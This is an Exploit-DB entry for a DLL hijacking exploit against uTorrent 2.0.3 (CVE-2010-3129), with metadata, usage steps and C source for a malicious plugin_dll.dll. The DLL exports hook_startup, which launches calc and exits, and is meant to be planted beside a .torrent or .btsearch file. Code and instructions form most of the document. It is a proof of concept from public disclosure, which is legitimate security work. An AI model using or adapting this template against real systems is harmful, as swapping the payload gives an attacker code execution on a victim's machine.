μTorrent (uTorrent) 2.0.3 - 'plugin_dll.dll' DLL Hijacking

Author: TheLeader
type: local
platform: windows
port: 
date_added: 2010-08-24  
date_updated: 2018-03-09  
verified: 1  
codes: CVE-2010-3129;OSVDB-67530  
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comutorrent.exe  

raw file: 14726.c  
/*
Exploit Title: uTorrent <= 2.0.3 DLL Hijacking Exploit (plugin_dll.dll)
Date: 24/08/2010
Author: TheLeader
Email: gsog2009 [a7] hotmail [d0t] com
Software Link: http://www.utorrent.com/downloads
Version: 2.0.3 and prior
Tested on: Windows 7 x86 (6.1.7600)

Compile and rename to plugin_dll.dll, create a file in the same dir with one of the following extensions:
.torrent / .btsearch

Double click & watch a nice calculator pop =]

A nice post about DLL Hijacking by Yam Mesicka (hebrew):
http://www.mesicka.com/dll-hijacking-windows-hd-moore/

@avivra: glad to provide entertainment for you guys =D

*Even more shouts* to all the great guys at forums.hacking.org.il
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}